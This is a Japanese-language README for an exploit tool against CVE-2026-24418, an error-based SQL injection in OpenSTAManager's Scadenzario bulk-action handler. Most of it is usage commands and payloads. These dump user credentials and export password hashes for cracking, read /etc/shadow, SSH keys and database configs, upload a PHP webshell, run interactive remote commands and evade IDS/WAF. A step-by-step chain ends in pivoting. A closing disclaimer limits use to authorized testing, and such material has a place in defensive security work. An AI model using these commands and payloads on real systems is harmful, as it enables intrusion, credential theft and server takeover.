
OpenSTAManager v2.9.8 およびそれ以前には、Scadenzario (支払スケジュール) モジュールの一括操作ハンドラに、重大なエラーベースのSQLインジェクション脆弱性が存在します。
OpenSTAManager <= 2.9.8 — Scadenzario一括操作モジュールにおけるエラーベースSQLインジェクション
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2026-24418 |
| 重要度 | HIGH (8.8) |
| CWE | CWE-89: SQLインジェクション |
| 影響を受けるバージョン | OpenSTAManager <= 2.9.8 |
| 脆弱性パラメータ | id_records[] (POST配列) |
| 脆弱性エンドポイント | /actions.php?id_module=18 |
| 攻撃タイプ | エラーベースSQLインジェクション (EXTRACTVALUE) |
| 認証 | 必須 (有効なユーザーアカウント) |
OpenSTAManager v2.9.8およびそれ以前のバージョンには、Scadenzario(支払予定表)モジュールの一括操作ハンドラに重大なエラーベースSQLインジェクションの脆弱性が存在します。アプリケーションは、id_records[]配列の要素が整数であることを確認せずにSQLのIN()句で使用しているため、認証された攻撃者が任意のSQLコマンドを注入し、XPATHエラーメッセージを介して機密データを抽出することを可能にします。
/actions.phpがid_records[]をPOSTで受け取るarray_clean()は空の値を削除するのみで、データ型を検証しない/modules/scadenzario/bulk.phpがサニタイズされていない値をそのままSQLのIN()句に渡す| 機能 | 説明 |
|---|---|
--info | データベースサーバーのフィンガープリント(バージョン、ユーザー、ホスト名、OS、パス) |
--privs | MySQL権限の列挙(FILE、SUPER、PROCESS) |
--users | zz_usersからの全資格情報ダンプ、ハッシュの自動エクスポート |
--dbs | アクセス可能な全データベースを列挙 |
--tables | 行数付きでテーブルを一覧表示 |
--columns | 型とNULL許容情報付きでカラムを一覧表示 |
--dump | 任意のテーブル/カラムからのデータ流出 |
--sql | カスタムSQLクエリの実行 |
--file-read | LOAD_FILE()によるサーバーファイルの読み取り(/etc/passwd、設定ファイル、SSH鍵) |
--file-read-hex | HEXエンコードによるファイル読み取り(フィルター回避) |
--webshell | INTO DUMPFILEによるPHPウェブシェルのアップロード |
--rce | アップロードしたウェブシェルを介した対話型コマンド実行 |
-o / --output | 全結果をJSON、CSV、およびhashcat/john形式で保存 |
--proxy | HTTPプロキシ対応(Burp Suite) |
--delay | IDS/WAF回避のためのリクエスト間遅延 |
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# 資格情報でログイン
python3 exploit.py -t http://target.com -u admin -p password --info
# 既存のセッションクッキーを使用
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# データベース情報+権限+ユーザー資格情報
python3 exploit.py -t http://target.com -u admin -p secret --all
# MySQL権限の確認(FILE、SUPERなど)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# ユーザーをダンプし、ハッシュを自動エクスポート
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# 出力ファイル:
# ./loot/users.json - ユーザー完全データ
# ./loot/users.csv - CSV形式
# ./loot/hashes_hashcat.txt - Hashcat形式(モード3200)
# ./loot/hashes_john.txt - John形式(user:hash)
# 全データベースを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# 特定のデータベース内のテーブルを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# テーブルのカラムを一覧表示
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# 行数制限付きで特定のカラムをダンプ
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# /etc/passwdを読み取り
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# アプリケーション設定を読み取り(データベース資格情報)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# SSH鍵を読み取り
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEXモード(文字フィルター回避)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# ウェブシェルをアップロード(Webrootを自動検出)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# 特定のWebrootを指定してウェブシェルをアップロード
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# 対話型シェルセッション
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCEはウェブシェルが存在しない場合、自動でアップロードする
# すべてをディレクトリに保存
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# 生成されるファイル:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Burp Suiteプロキシ経由
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# リクエスト間遅延(2秒)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# SSL検証をスキップ
python3 exploit.py -t https://target.com -u admin -p secret --info -k
ターゲット:
-t, --target ターゲットのベースURL
認証:
-u, --user ログイン用ユーザー名
-p, --password ログイン用パスワード
-c, --cookie 既存のPHPSESSID値
列挙:
-D, --database ターゲットデータベース名
-T, --table ターゲットテーブル名
-C, --columns-list ダンプするカラム(カンマ区切り)
--limit ダンプの行数制限
アクション:
--info データベースサーバー情報
--users zz_usersの資格情報をダンプ
--dbs データベースを列挙
--tables テーブルを一覧表示
--columns カラムを一覧表示(-Tが必要)
--dump データをダンプ(-Tと-Cが必要)
--sql QUERY カスタムSQLクエリ
--all --info + --privs + --users を実行
--privs MySQL権限を確認
ファイル操作:
--file-read PATH LOAD_FILE()でファイルを読み取り
--file-read-hex PATH HEXエンコードでファイルを読み取り
リモートコード実行:
--webshell PHPウェブシェルをアップロード
--webroot PATH シェルアップロード用のWebrootパス
--rce 対話型コマンド実行
出力:
-o, --output DIR 結果をディレクトリに保存
ネットワーク:
-m, --module-id モジュールID(デフォルト: 18)
--proxy HTTPプロキシURL
-k, --no-ssl-verify SSL検証を無効化
--delay リクエスト間の遅延(秒)
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQLのEXTRACTVALUE()はXPATHエラーを介して最大約32文字を返します。ツールはSUBSTRING()を使用して長い結果を自動的にチャンク化します:
SUBSTRING((<query>), 1, 31) -- チャンク1
SUBSTRING((<query>), 32, 31) -- チャンク2
...
エラーベースコンテキストに関する技術的注意: 最大限のカバレッジのために
--webshellと--rceが含まれていますが、MySQLはサブクエリやIN()句(まさにこのCVEのインジェクションポイントがある場所)内でINTO DUMPFILEを使用することを厳格に禁止しています。したがって、この特定のエラーベースインジェクションを介してファイルを直接書き込むことは、以下の場合を除き、通常は構文エラーで失敗します:
- ターゲット環境がスタッククエリを許可している場合(現代のPHP/PDOセットアップでは非常に稀)。
- ペイロードをUNIONベースのインジェクションに切り替えることができた場合。
--privsでFILE権限を確認した場合、LOAD_FILE()はエラーベースのサブクエリ内で完璧に機能するため、--file-readおよび--file-read-hexを使用するのが最善の策です。
FILE権限が利用可能で制約が許す場合:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── id_records[]を受け取る
└── array_clean() ─── 空の値を削除するのみ
└── bulk.php (L88) ─── SQLのIN()句を構築
└── Database.php (L289) ─── サニタイズされていないクエリを実行
└── XPATHエラーがデータを漏洩
1. --privs → FILE権限を確認
2. --users → 資格情報をダンプ、ハッシュをエクスポート
3. --file-read → config.inc.phpを読み取り、DB資格情報を取得
4. --file-read → /etc/passwdを読み取り、ユーザー名を取得
5. --webshell → PHPウェブシェルをアップロード
6. --rce → 対話型シェル→ピボット
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの無許可アクセスは違法です。テストの前に必ず適切な許可を取得してください。著者は誤用に対する責任を負いません。